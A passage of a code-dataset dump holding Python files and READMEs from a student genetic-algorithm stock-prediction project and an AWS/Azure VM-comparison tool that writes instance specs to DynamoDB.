random\\n\\n'''\\n\\tRoullette Wheel\\n'''\\ndef sortPopulation(population):\\n\\t#Sort in descending order by fitness(error): highest error --> lowest error\\n\\tsorted_pop = sorted(population, key=lambda tree: tree.fitness, reverse=True)\\n\\treturn sorted_pop\\n\\ndef createRoulletteWheel(population):\\n\\t#Sum Ranks\\n\\ttotal = len(population)\\t\\n\\t_rank_sum = reduce(lambda x,y: x+y, xrange(1, total+1))\\t\\n\\t#Assign probability\\n\\tprobabilities = map(lambda i: i/float(_rank_sum), xrange(1, total+1))\\t\\n\\t#Generate intervals\\n\\troulletteWheel = map(lambda i: 0, xrange(0, total)) #Fill list with zeroes\\n\\tfor i,p in enumerate(probabilities):\\n\\t\\tif (i == 0):\\n\\t\\t\\troulletteWheel[0] = probabilities[i] \\n\\t\\telse:\\n\\t\\t\\troulletteWheel[i] = roulletteWheel[i-1] + probabilities[i]\\t\\t\\n\\treturn roulletteWheel\\t\\n\\ndef roulletteParentSelection(roulletteWheel, population):\\t\\n\\tpopulation_size = len(population)\\t\\n\\tsorted_population = sortPopulation(population)\\n\\tpopulation[:] = []\\t\\n\\tfor i in xrange(0, population_size):\\t\\n\\t\\t#0.0 <= X <= 1.0\\n\\t\\tnumber = random()\\n\\t\\tfor j in xrange(0, len(roulletteWheel)):\\n\\t\\t\\tif (number <= roulletteWheel[j]):\\n\\t\\t\\t\\tnew_tree = deepcopy(sorted_population[j])\\n\\t\\t\\t\\tpopulation.append(new_tree)\\t\\n\\t\\t\\t\\tbreak \\t#break out of inner for loop\\n\\t\\n\\n'''\\n\\tTournament Selection\\n'''\\ndef tournamentParentSelection(population):\\n\\ttemp_population = deepcopy(population)\\t\\t\\n\\tpopulation_size = len(population)\\n\\tk = tournament_size \\n\\tpopulation[:] = []\\n\\tfor p in xrange(0, population_size):\\n\\t\\ttournament = sample(temp_population, k)\\t\\t\\n\\t\\ttree = bestMatch(tournament)\\n\\t\\tnew_tree = deepcopy(tree)\\n\\t\\tpopulation.append(new_tree)\\t\\t\\n\\t\\ndef bestMatch(tournament):\\n\\tfitnesses = map(lambda x: x.fitness, tournament)\\n\\tbest_fitness = min(fitnesses)\\n\\tbest_index = fitnesses.index(best_fitness)\\n\\tbest_tree = tournament[best_index]\\n\\treturn best_tree\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5741029381752014,\n \"alphanum_fraction\": 0.6141445636749268,\n \"avg_line_length\": 32.71929931640625,\n \"blob_id\": \"a72f7ec9d4fd86528e2c93e9d6a8de6995dfb67a\",\n \"content_id\": \"51bd7351f3aaf7ab6299c4f811c8e2ff73bf5b15\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3846,\n \"license_type\": \"no_license\",\n \"max_line_length\": 119,\n \"num_lines\": 114,\n \"path\": \"/Rahul_Genetic_Program/apple/scrape.py\",\n \"repo_name\": \"seepls/algorithmic-trading\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#Rahul Ramakrishnan\\n#module: scrape\\n'''\\n\\t1. Scrapes stock data\\n\\t2. Structures data\\n\\t3. Returns data\\n'''\\n\\nimport datetime\\nimport random\\n\\n#Could use a generator, yield\\ndef getTerminal():\\n\\t\\n\\tterminals = ['apple_open', 'apple_high', 'apple_low', \\n\\t\\t 'apple_close', 'apple_volume', 'nasdaq_open', \\n\\t\\t 'nasdaq_high', 'nasdaq_low', 'nasdaq_close', \\n 'nasdaq_volume', 'sp500_open', 'sp500_high', \\n\\t\\t 'sp500_low', 'sp500_close', 'sp500_volume']\\n\\n\\t#Add 10 random coefficients into terminal list\\n\\t#to be used when applying operators on signals\\n\\tfor i in range(0,15):\\n\\t\\trandom_integer = random.randint(-500, 500)\\n\\t\\tnumber = random_integer * random.random()\\n\\t\\t#Protect against divide by zero\\n\\t\\tif(number == 0):\\n\\t\\t\\tnumber = .0001\\n\\t\\tterminals.append(number)\\t\\n\\n\\trandom.shuffle(terminals)\\t\\n\\treturn terminals\\n\\ndef getFunctional():\\n\\tfunctionals = ['+' , '/', '*', '-']\\t\\n\\t#Will add math.exp, math.log, math.ln, math.e\\t\\n\\trandom.shuffle(functionals)\\n\\treturn functionals\\n\\ndef getNasdaqData():\\n\\t#Open file reading stream\\n\\tnasdaq = open('/Users/rahulramakrishnan/Projects/algorithmic-trading/Rahul_Genetic_Program/data/nasdaq.txt', 'r')\\t\\n\\t#Training dates\\n\\tbegin_date = datetime.date(2011, 01, 01)\\t\\n\\tend_date = datetime.date(2013, 12, 31)\\n\\t#Set up data structor to store the data\\n\\tnasdaq_data = []\\n\\t#Parse file\\n\\tfor line in nasdaq:\\n\\t\\tinfo = line.split(',')\\t\\t\\n\\t\\tdate = info[0]\\t\\n\\t\\tyear = int(date[:4]) \\n\\t\\tmonth = int(date[5:7]) \\n\\t\\tday = int(date[8:10])\\n\\t current = datetime.date(year, month, day)\\t\\n\\t\\t#Financial Placeholder for current data\\n\\t\\tfinance_dict = {}\\n\\t\\t#Check data date\\n\\t\\tif current >= begin_date and current <= end_date:\\n\\t\\t\\t#Store financial data\\n\\t\\t\\tfinance_dict[\\\"nasdaq_open\\\"] = float(info[1])\\n\\t\\t\\tfinance_dict[\\\"nasdaq_low\\\"] = float(info[2])\\n\\t\\t\\tfinance_dict[\\\"nasdaq_high\\\"] = float(info[3])\\n\\t\\t\\tfinance_dict[\\\"nasdaq_close\\\"] = float(info[4])\\n\\t\\t\\tfinance_dict[\\\"nasdaq_volume\\\"] = float(info[5])\\n\\t\\t\\t#Storing financial data in the list\\n\\t\\t\\tnasdaq_data.append(finance_dict)\\t\\n\\treturn nasdaq_data\\t\\n\\n\\ndef getAppleData():\\t\\n\\tapple = open('/Users/rahulramakrishnan/Projects/algorithmic-trading/Rahul_Genetic_Program/data/apple_stock.txt', 'r')\\n\\tbegin_date = datetime.date(2011, 01, 01)\\n\\tend_date = datetime.date(2013, 12, 31)\\n\\tapple_data = []\\n\\tfor line in apple:\\n\\t\\tinfo = line.split(',')\\n\\t\\tdate = info[0]\\n\\t\\tyear = int(date[:4]) \\n\\t\\tmonth = int(date[5:7]) \\n\\t\\tday = int(date[8:10])\\n\\t\\tcurrent = datetime.date(year, month, day)\\t\\n\\t\\tfinance_dict = {}\\n\\t\\tif current >= begin_date and current <= end_date:\\n\\t\\t\\tfinance_dict[\\\"apple_open\\\"] = float(info[1])\\n\\t\\t\\tfinance_dict[\\\"apple_low\\\"] = float(info[2])\\n\\t\\t\\tfinance_dict[\\\"apple_high\\\"] = float(info[3])\\n\\t\\t\\tfinance_dict[\\\"apple_close\\\"] = float(info[4])\\n\\t\\t\\tfinance_dict[\\\"apple_volume\\\"] = float(info[5])\\n\\t\\t\\tapple_data.append(finance_dict)\\n\\treturn apple_data\\t\\t\\n\\n\\ndef getSP500Data():\\n sp500= open('/Users/rahulramakrishnan/Projects/algorithmic-trading/Rahul_Genetic_Program/data/sp_500.txt', 'r')\\n begin_date = datetime.date(2011, 01, 01) \\n end_date = datetime.date(2013, 12, 31) \\n sp500_data = []\\n for line in sp500:\\n info = line.split(',')\\n date = info[0]\\n year = int(date[:4]) \\n month = int(date[5:7]) \\n day = int(date[8:10])\\n current = datetime.date(year, month, day) \\n finance_dict = {}\\n if current >= begin_date and current <= end_date:\\n finance_dict[\\\"sp500_open\\\"] = float(info[1])\\n finance_dict[\\\"sp500_low\\\"] = float(info[2])\\n finance_dict[\\\"sp500_high\\\"] = float(info[3])\\n finance_dict[\\\"sp500_close\\\"] = float(info[4])\\n finance_dict[\\\"sp500_volume\\\"] = float(info[5])\\n sp500_data.append(finance_dict)\\n return sp500_data\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.7128547430038452,\n \"alphanum_fraction\": 0.7128547430038452,\n \"avg_line_length\": 27.33333396911621,\n \"blob_id\": \"f1ab6c5079644867b1874e78f94918bbdae8f5c7\",\n \"content_id\": \"49c1b0d80eeed1c03a5c87624d8b612c47ba84f6\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 599,\n \"license_type\": \"no_license\",\n \"max_line_length\": 53,\n \"num_lines\": 21,\n \"path\": \"/README.md\",\n \"repo_name\": \"seepls/algorithmic-trading\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"Evolutionary Computing\\n======================\\n\\n\\n**Description:**\\nWe have two strategies in predicting\\napple stock prices, one is through a \\ngenetic program, the other is through a\\ngenetic algorithm. Follow the instructions\\nin the respective README's in sub repositories.\\n\\n\\n- Genetic Program: Rahul Ramakrishnan\\n\\t- Evolves a tree based population to minimize\\n\\t the error between predicted price and actual price\\n\\t- Uses signals from nasdaq, apple, s&p, and soon to \\n be more. \\n\\n- Genetic Algorithm: Tushar Dadlani\\n\\t- Evolves a bit string population to guess if the \\n\\t next day's stock will go up or down. \\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.44447752833366394,\n \"alphanum_fraction\": 0.5841023921966553,\n \"avg_line_length\": 35.4782600402832,\n \"blob_id\": \"8b9d917900348586ef61f6d9db55e587a1682729\",\n \"content_id\": \"5fb1da6b4a080fd32fbc9034f1add57fab0cb863\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3359,\n \"license_type\": \"no_license\",\n \"max_line_length\": 145,\n \"num_lines\": 92,\n \"path\": \"/Rahul_Genetic_Program/analysis/histogram.py\",\n \"repo_name\": \"seepls/algorithmic-trading\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#Generates a Histogram\\n#Rahul Ramakrishnan\\n\\n\\nimport json\\nimport os\\n\\n\\n#first_dir = '/Users/rahulramakrishnan/Desktop/Trial_1_Dataset'\\n#second_dir = '/Users/rahulramakrishnan/Desktop/Trial_2_Dataset'\\n#third_dir = '/Users/rahulramakrishnan/Desktop/Trial_3_Dataset'\\n#first_dir = '/Users/rahulramakrishnan/OneDrive/Academia/Stochastic Optimization/Algorithmic_Trading_Data/Tournament Selection Data/T_S_Trial_1'\\n#second_dir = '/Users/rahulramakrishnan/OneDrive/Academia/Stochastic Optimization/Algorithmic_Trading_Data/Tournament Selection Data/T_S_Trial_2'\\n#third_dir = '/Users/rahulramakrishnan/OneDrive/Academia/Stochastic Optimization/Algorithmic_Trading_Data/Tournament Selection Data/T_S_Trial_3'\\n\\nmean_histogram = { 0 : 0, \\n\\t \\t 100 : 0,\\n\\t 1000 : 0, \\n \\t 10000 : 0,\\n\\t \\t 100000 : 0, \\n \\t 1000000 : 0,\\n\\t \\t 10000000 : 0, \\n\\t \\t 100000000 : 0, \\n\\t 1000000000 : 0 }\\n\\nbest_histogram = { 0 : 0, \\n \\t 100 : 0,\\n \\t 1000 : 0, \\n \\t 10000 : 0,\\n \\t 100000 : 0, \\n \\t 1000000 : 0,\\n \\t 10000000 : 0, \\n \\t 100000000 : 0, \\n \\t 1000000000 : 0 } \\n\\nfiles = []\\nfor root, dirs, filenames in os.walk(third_dir):\\n\\tfor f in filenames:\\n\\t\\tfiles.append(open(os.path.join(root, f), 'r'))\\n\\nmean_histogram_file = open('./mean_histo_3.txt', 'w')\\nbest_histogram_file = open('./best_histo_3.txt', 'w')\\n\\nfor i in range(1, len(files)):\\n\\tfor line in files[i]:\\t\\n\\t\\twords = line.split(' ')\\n\\t\\tmean = words[0]\\n\\t\\tbest = words[1]\\t\\n\\t\\n\\t\\tmean_num = float(mean)\\n\\t\\tbest_num = float(best)\\n\\t\\n\\t \\tif mean_num >= 0 and mean_num < 100:\\t\\t\\n\\t\\t\\tmean_histogram[0] += 1\\n\\t\\telif mean_num >= 100 and mean_num < 1000:\\t\\n\\t\\t\\tmean_histogram[100] += 1\\n\\t\\telif mean_num >= 1000 and mean_num < 10000:\\n\\t\\t\\tmean_histogram[1000] += 1\\n\\t\\telif mean_num >= 10000 and mean_num < 100000:\\n\\t\\t\\tmean_histogram[10000] += 1\\n\\t\\telif mean_num >= 100000 and mean_num < 1000000:\\n\\t\\t\\tmean_histogram[100000] += 1\\n\\t\\telif mean_num >= 1000000 and mean_num < 10000000:\\n\\t\\t\\tmean_histogram[1000000] += 1\\n\\t\\telif mean_num >= 10000000 and mean_num < 100000000:\\n\\t\\t\\tmean_histogram[10000000] += 1\\n\\t\\telif mean_num >= 100000000 and mean_num < 1000000000:\\n\\t\\t\\tmean_histogram[100000000] += 1\\t\\n\\t\\telif mean_num >= 1000000000:\\n\\t\\t\\tmean_histogram[1000000000] += 1\\n\\n\\t\\tif best_num >= 0 and best_num < 100:\\n \\tbest_histogram[0] += 1\\n elif best_num >= 100 and best_num < 1000:\\n \\tbest_histogram[100] += 1\\n elif best_num >= 1000 and best_num < 10000:\\n \\tbest_histogram[1000] += 1\\n elif best_num >= 10000 and best_num < 100000:\\n \\tbest_histogram[10000] += 1\\n elif best_num >= 100000 and best_num < 1000000:\\n \\tbest_histogram[100000] += 1\\n elif best_num >= 1000000 and best_num < 10000000:\\n \\tbest_histogram[1000000] += 1\\n elif best_num >= 10000000 and best_num < 100000000:\\n \\tbest_histogram[10000000] += 1\\n elif best_num >= 100000000 and best_num < 1000000000:\\n \\tbest_histogram[100000000] += 1 \\n elif best_num >= 1000000000:\\n \\tbest_histogram[1000000000] += 1\\n\\njson.dump(mean_histogram, mean_histogram_file)\\njson.dump(best_histogram, best_histogram_file)\\n\\n\\t\\n\"\n },\n {\n \"alpha_fraction\": 0.7863247990608215,\n \"alphanum_fraction\": 0.7948718070983887,\n \"avg_line_length\": 28.25,\n \"blob_id\": \"40e94f2a80eb723ab4f677b0829e6c6be0fd462e\",\n \"content_id\": \"7d36f975edc519fe18e9844c80706db9d3abb981\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Text\",\n \"length_bytes\": 117,\n \"license_type\": \"no_license\",\n \"max_line_length\": 78,\n \"num_lines\": 4,\n \"path\": \"/Genetic_algorithm_Tushar/README.txt\",\n \"repo_name\": \"seepls/algorithmic-trading\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"Ideas: \\n\\n1. Binary String representation to start with as we would be just predicting a\\npositive or negative change.\\n\"\n },\n {\n \"alpha_fraction\": 0.5463888049125671,\n \"alphanum_fraction\": 0.5563802719116211,\n \"avg_line_length\": 32.342857360839844,\n \"blob_id\": \"733e449e6528cac4113b7bb1c6e0f6d8d5685af2\",\n \"content_id\": \"f37d5853b5c33e0028b17cfbf5f461420ff6cf56\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3503,\n \"license_type\": \"no_license\",\n \"max_line_length\": 91,\n \"num_lines\": 105,\n \"path\": \"/Genetic_algorithm_Tushar/ga/population.py\",\n \"repo_name\": \"seepls/algorithmic-trading\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import random\\nimport math\\nimport operator\\n\\nfrom individual import Individual\\n\\nrandom.seed(1234)\\n\\ndef percent_diff(approx , correct):\\n #print \\\"approx, correct\\\"\\n #print approx, correct\\n return ((approx - correct) / float(correct))\\n\\n\\nclass Population(object):\\n def __init__(self, size, signal_ranges, data, pm = 1/16.0 , pc = 0.7):\\n individual_size = len(signal_ranges)\\n self.population = []\\n self.signal_ranges = signal_ranges\\n self.pm = pm\\n self.pc = pc\\n self.size = size\\n self.num_signals = len(signal_ranges)\\n self.data = data\\n #print \\\"self.data\\\"\\n #print self.data\\n self.data_size = len(data)\\n for i in xrange(size):\\n self.population.append(Individual(individual_size))\\n\\n\\n def __getitem__(self, key):\\n return self.population[key]\\n\\n def fitness_function(self, individual):\\n transformed_individual = individual.transform_individual(self.signal_ranges)\\n #print \\\"Transformed individual\\\"\\n #print transformed_individual\\n positive = 0\\n count = 0\\n for element in self.data:\\n #one_iter = []\\n #print \\\"element\\\"\\n #print element\\n for item in xrange(self.num_signals):\\n #for item in xrange(3):\\n \\n #threshold = int(0.6 * self.num_signals)\\n #print \\\"GA, value\\\"\\n #print transformed_individual[item]\\n #print \\\"actual value\\\"\\n #print element[item]\\n #print \\\"Delta\\\"\\n #print transformed_individual[item] - element[item]\\n #one_iter.append(percent_diff(transformed_individual[item], element[item]))\\n #print transformed_individual[item]\\n #print \\\"element[item]\\\"\\n #print element[item]\\n #print \\\"abs percent diff\\\"\\n #print percent_diff(transformed_individual[item], element[item])\\n if abs(percent_diff(transformed_individual[item], element[item])) < 0.5 :\\n count = count + 1\\n #print positive\\n #return float(positive) / self.data_size\\n #return float(positive) \\n #print one_iter\\n #print \\\"count\\\"\\n #print count\\n total_items = self.num_signals * self.data_size\\n val = float(count) / total_items\\n return val\\n\\n\\n def sus_sampler(self, fitness_list):\\n size = len(fitness_list)\\n total_fitness = reduce(operator.add, fitness_list)\\n\\n if total_fitness == 0.0:\\n print \\\"total_fitness == 0\\\"\\n sel_prob_list = fitness_list\\n else:\\n sel_prob_list = [x/ total_fitness for x in fitness_list]\\n summed_prob_list = []\\n for i in xrange(1, len(sel_prob_list) + 1):\\n summed_prob_list.append(reduce(operator.add, sel_prob_list[:i]))\\n #print summed_prob_list\\n \\n\\n i = 0\\n r = random.uniform(0, 1.0/size)\\n mating_pool = []\\n while len(mating_pool) <= size -1:\\n while r < summed_prob_list[i]:\\n mating_pool.append(self.population[i])\\n r = r + 1.0/size\\n i += 1\\n self.population = mating_pool\\n\\n def mutation(self):\\n for individual in self.population:\\n individual.mutate(self.pm)\\n\\n def crossover(self):\\n for i in xrange(0, self.size, 2):\\n self.population[i].crossover_2way(self.population[i+1], self.pc)\\n\\n\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":21,"string":"21"}}},{"rowIdx":2978323,"cells":{"repo_name":{"kind":"string","value":"Caleb-Grode/bluewhale"},"repo_url":{"kind":"string","value":"https://github.com/Caleb-Grode/bluewhale"},"snapshot_id":{"kind":"string","value":"6b2486ca26d68f585c4ed600fedf5954a6282dc7"},"revision_id":{"kind":"string","value":"a7c121ec6b6ae8039c434598e5dcc02ce4688792"},"directory_id":{"kind":"string","value":"6d378d288be1fe28c1e914cc692bc9477e04bac6"},"branch_name":{"kind":"string","value":"refs/heads/main"},"visit_date":{"kind":"timestamp","value":"2023-06-29T03:58:40.194698","string":"2023-06-29T03:58:40.194698"},"revision_date":{"kind":"timestamp","value":"2021-08-06T22:00:43","string":"2021-08-06T22:00:43"},"committer_date":{"kind":"timestamp","value":"2021-08-06T22:00:43","string":"2021-08-06T22:00:43"},"github_id":{"kind":"number","value":383904684,"string":"383,904,684"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5951219797134399,"alphanum_fraction":0.6000000238418579,"avg_line_length":34.775001525878906,"blob_id":"1d349c3e577823c25c63093e6ece4d6b21acdcbc","content_id":"6e649c48fcda32052adf08fe84387fce4bc18498","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1435,"license_type":"no_license","max_line_length":117,"num_lines":40,"path":"/bluewhale_vm_provider_category_list.py","repo_name":"Caleb-Grode/bluewhale","src_encoding":"UTF-8","text":"# Author: Caleb Grode\n# Purpose: return the virtual machines from a given provider in a given compute category\n\nimport json\nimport boto3\nfrom boto3.dynamodb.conditions import Attr\n\ndef lambda_handler(event, context):\n # parameters\n provider = event['queryStringParameters']['provider']\n category = event['queryStringParameters']['category']\n dynamodb = boto3.resource('dynamodb', endpoint_url=\"https://dynamodb.us-east-1.amazonaws.com\")\n\n table = dynamodb.Table('bluewhale_resources')\n \n print(\"Getting data...\")\n # get azure and gcp vm data\n third_party_vm = table.scan(\n FilterExpression= Attr('resource type').eq('virtual machine') \n & Attr('provider').eq(provider)\n & Attr('virtual machine type').eq(category)\n )\n \n # json does not support the decimal type that DynamoDB stores our numbers as so we need to re-cast the data types\n for item in third_party_vm['Items']:\n print(item)\n if 'MemoryMB' in item:\n item['MemoryMB'] = int(item['MemoryMB'])\n if 'vCPUs' in item:\n item['vCPUs'] = int(item['vCPUs'])\n if 'vCPUsPerCore' in item:\n item['vCPUsPerCore'] = int(item['vCPUsPerCore'])\n \n return {\n 'statusCode': 200,\n 'headers' : {\n 'Access-Control-Allow-Origin': '*',\n },\n 'body': json.dumps(third_party_vm)\n }\n "},{"alpha_fraction":0.7331887483596802,"alphanum_fraction":0.7418655157089233,"avg_line_length":34.42307662963867,"blob_id":"dafbf3989b0d5a1406f74166c95b20a395716571","content_id":"b4aa0ca25129b249a226902b57dd01f3ae62e7d1","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":922,"license_type":"no_license","max_line_length":109,"num_lines":26,"path":"/testing+data/azureAPI.py","repo_name":"Caleb-Grode/bluewhale","src_encoding":"UTF-8","text":"import requests\nimport adal\nimport json\nimport os\n\n# call azure API!\n\n# info for azure authentification\nazure_client_id = os.environ['azure_client_id']\nazure_secret = os.environ['azure_secret']\nazure_subscription_id = os.environ['azure_subscription_id']\nazure_tenant = os.environ['azure_tenant']\nauthority_url = 'https://login.microsoftonline.com/' + azure_tenant\nresource = 'https://management.azure.com/'\n\ncontext = adal.AuthenticationContext(authority_url)\ntoken = context.acquire_token_with_client_credentials(resource, azure_client_id, azure_secret)\n\nheaders = {'Authorization': 'Bearer ' + token['accessToken'], 'Content-Type': 'application/json'}\n\nparams = {'api-version': '019-04-01'}\nurl = 'https://management.azure.com/subscriptions/'+azure_subscription_id+'/providers/Microsoft.Compute/skus'\n\nr = requests.get(url, headers=headers, params=params)\n\nprint(json.dumps(r.json(), indent=4, separators=(',', ': ')))\n\n"},{"alpha_fraction":0.5926773548126221,"alphanum_fraction":0.5997711420059204,"avg_line_length":39.841121673583984,"blob_id":"d424f497a096c58c3942048e27eeafc87150276d","content_id":"2bdbbb28eb5c86684fb38c062fd8c59357cd85f5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":4370,"license_type":"no_license","max_line_length":136,"num_lines":107,"path":"/bluewhale_aws_refresh.py","repo_name":"Caleb-Grode/bluewhale","src_encoding":"UTF-8","text":"# Author: Caleb Grode\n# Purpose: This function calls an EC2 API to retrieve specs about the different AWS EC2 offerings. \n# It categorizes and selects the desired specs for every returned instance and puts them into the DynamoDB\n# Table 'bluewhale_resources'\n\n\nimport boto3\nimport json\n\ndef ebs_refresh():\n # this is one of the few hard coded values, if a new category is updated, this will need to change\n ebs_categories = ['Magnetic', 'General Purpose', 'Provisioned IOPS', 'Throughput Optimized HDD', 'Cold HDD']\n\n pricing_client = boto3.client('pricing', region_name='us-east-1')\n\n # get all ebs products\n # this block is an API call that parses the json data\n ebs_details = []\n ebs_names = []\n for ebs_type in ebs_categories:\n response = [\"NextToken\"]\n while \"NextToken\" in response:\n response = pricing_client.get_products(ServiceCode='AmazonEC2', Filters=[\n {'Type': 'TERM_MATCH', 'Field': 'volumeType', 'Value': ebs_type}])\n\n for priceItem in response[\"PriceList\"]:\n priceItemJson = json.loads(priceItem)\n name = priceItemJson['product'][\"attributes\"]['volumeApiName']\n if name not in ebs_names:\n ebs_names.append(name)\n ebs_details.append(priceItemJson)\n \n # we now have data about the volumes but need to parse out and only grab that data we want for the DB\n refresh_data = []\n # get the name and attributes for each!\n for details in ebs_details:\n attrs = details['product']['attributes']\n ebs_data = {}\n ebs_data['name'] = attrs['volumeApiName']\n ebs_data['provider'] = 'AWS'\n ebs_data['resource type'] = 'virtual disk'\n ebs_data['maxIopsvolume'] = attrs['maxIopsvolume']\n ebs_data['maxThroughputvolume'] = attrs['maxThroughputvolume']\n ebs_data['maxVolumeSize'] = attrs['maxVolumeSize']\n ebs_data['storageMedia'] = attrs['storageMedia']\n ebs_data['volumeType'] = attrs['volumeType']\n ebs_data['MaxSizeGiB'] = int(attrs['maxVolumeSize'].split(' ')[0]) * 1024\n refresh_data.append(ebs_data)\n \n return refresh_data\n\ndef lambda_handler(event, context):\n # get ec2 instance information\n data = boto3.client('ec2').describe_instance_types()\n \n instances = data['InstanceTypes']\n \n while \"NextToken\" in data:\n data = boto3.client('ec2').describe_instance_types(NextToken=data[\"NextToken\"])\n instances.extend(data['InstanceTypes'])\n \n # associates name with compute category\n vm_types = {\n 'm':'general purpose', 't':'general purpose', 'a':'general purpose', \n 'c':'compute optimized',\n 'r':'memory optimized', 'u':'memory optimized', 'x':'memory optimized', 'z':'memory optimized',\n 'i':'storage optimized', 'd':'storage optimized','h':'storage optimized',\n 'p':'accelerated computing', 'inf':'accelerated computing', 'g':'accelerated computing', 'f':'accelerated computing' \n }\n \n print(len(instances))\n ec2_specs = []\n for instance in instances:\n # categorize instance\n if instance['InstanceType'][0] == 'i': # this block catches edge case where two different categories of instances start with 'i'\n if instance['InstanceType'][1] == '3':\n type = 'storage optimized'\n else:\n type = 'accelerated computing'\n else:\n type = vm_types[instance['InstanceType'][0]]\n \n # get data ready to be put in DB\n ec2_specs.append(\n {\n 'name': instance['InstanceType'],\n 'resource type' : 'virtual machine',\n 'virtual machine type' : type,\n 'vCPUs': int(instance['VCpuInfo']['DefaultVCpus']),\n 'MemoryMB': int(int(instance['MemoryInfo']['SizeInMiB']) * 1.049), # conver from Mib to \n 'NetworkInfo': instance['NetworkInfo'],\n 'provider': 'AWS'\n \n }\n )\n \n # put data in DB\n table = boto3.resource('dynamodb').Table('bluewhale_resources')\n for item in ec2_specs:\n table.put_item(Item=item)\n for item in ebs_refresh():\n table.put_item(Item=item)\n \n return {\n 'statusCode': 200,\n 'body': json.dumps('Refresh complete!')\n }\n"},{"alpha_fraction":0.6517241597175598,"alphanum_fraction":0.6735632419586182,"avg_line_length":35.29166793823242,"blob_id":"c82864ea9d0755c9e788835a962280db2969c2a4","content_id":"7a93f3fb0b53692bc19905908817283e0368fb06","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":870,"license_type":"no_license","max_line_length":166,"num_lines":24,"path":"/testing+data/closeNumberTest.py","repo_name":"Caleb-Grode/bluewhale","src_encoding":"UTF-8","text":"import time\nstart = time.time()\n\npotential_matches = [{'MemoryMB':2,'name':1},{'MemoryMB':2,'name':2},{'MemoryMB':3,'name':3},{'MemoryMB':10,'name':4},{'MemoryMB':1,'name':5},{'MemoryMB':5,'name':6}]\nvm = {}\nvm['MemoryMB'] = 1\nmatched_instances = []\n\n# we are going to find the 5 closest instances in memory\nfor i in range(0,5):\n # find the closest instance\n closest = min(potential_matches, key=lambda x:abs(x['MemoryMB']-vm['MemoryMB']))\n # add the instance to our final list\n matched_instances.append(closest)\n\n print(closest)\n \n # remove the closest from the potential matches so we can find the next closest\n potential_matches = [i for i in potential_matches if not (i['name'] == closest['name'])]\n\n# we now have a list of the five closest instances by memory\ntime.sleep(0.9)\nend = time.time()\nprint(\"Time consumed in working: \",end - start)"},{"alpha_fraction":0.5935798287391663,"alphanum_fraction":0.5973058342933655,"avg_line_length":33.50495147705078,"blob_id":"9b465fc15be1da02fc436771030ef75051978144","content_id":"72dfd93dba5e48085c9b4237f05724f8be491951","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3489,"license_type":"no_license","max_line_length":128,"num_lines":101,"path":"/testing+data/test.py","repo_name":"Caleb-Grode/bluewhale","src_encoding":"UTF-8","text":"import boto3\nfrom boto3.dynamodb.conditions import Key\nfrom boto3.dynamodb.conditions import Attr\nimport time\nstart = time.time()\n\ndynamodb = boto3.resource('dynamodb', endpoint_url=\"https://dynamodb.us-east-1.amazonaws.com\")\n\ntable = dynamodb.Table('bluewhale_resources')\n\n# query for AWS vm\nAWS_vm= table.scan(\n # virtual machine from AWS which has the same type and more or equal vCPUs and similar ram capacity\n FilterExpression= Attr('resource type').eq('virtual machine') \n & Attr('provider').eq('AWS')\n)\n\ndef match_vm(vm,t):\n # get vm specs\n vCPUs = vm['vCPUs']\n memory = vm['MemoryMB']\n type = vm['virtual machine type']\n potential_matches = []\n matched_instances = []\n\n # filter potential matches\n for vm in AWS_vm['Items']:\n if vm['virtual machine type'] == type and 'vCPUs' == vCPUs and 'MemoryMB' >= int(float(memory) - (float(memory)*0.2)):\n potential_matches.append(vm)\n\n # edge case where AWS does not offer large enough instance in terms of vCPUs\n if not potential_matches:\n # if this is the case, we will return the largest possible instance\n # get all of the specified type\n data = t.scan(\n FilterExpression= Attr('resource type').eq('virtual machine') \n & Attr('provider').eq('AWS')\n & Attr('virtual machine type').eq(type) \n )\n if not data['Items']:\n return []\n # find the lowest number of vCPUs for potential match\n values = [x['vCPUs'] for x in data['Items']]\n max_vCPUs = max(values)\n\n # add all instances of this largest size to a list\n largest_matches = []\n for instance in data['Items']:\n if instance['vCPUs'] == max_vCPUs:\n largest_matches.append(instance['name'])\n \n return largest_matches\n \n # find the lowest number of vCPUs for potential match\n \n min_vCPUs = min(potential_matches, key=lambda x:x['vCPUs'] == vm['vCPUs'])\n\n # we now have the instances matched by vCPUs now we need to match by memory\n\n\n # we are going to try to find the 5 closest instances in memory\n for i in range(0,5):\n # while we still have options\n if min_vCPUs:\n # find the closest instance\n closest = min(min_vCPUs, key=lambda x:abs(x['MemoryMB']-vm['MemoryMB']))\n # add the instance to our final list\n matched_instances.append(closest['name'])\n \n # remove the closest from the potential matches so we can find the next closest\n potential_matches = [i for i in potential_matches if not (i['name'] == closest['name'])]\n \n # repeat 5x\n\n return matched_instances\n\nprint(\"Getting data...\")\n# get azure and gcp vm data\nthird_party_vm = table.scan(\n FilterExpression= Attr('resource type').eq('virtual machine') & (Attr('provider').eq('Azure') or 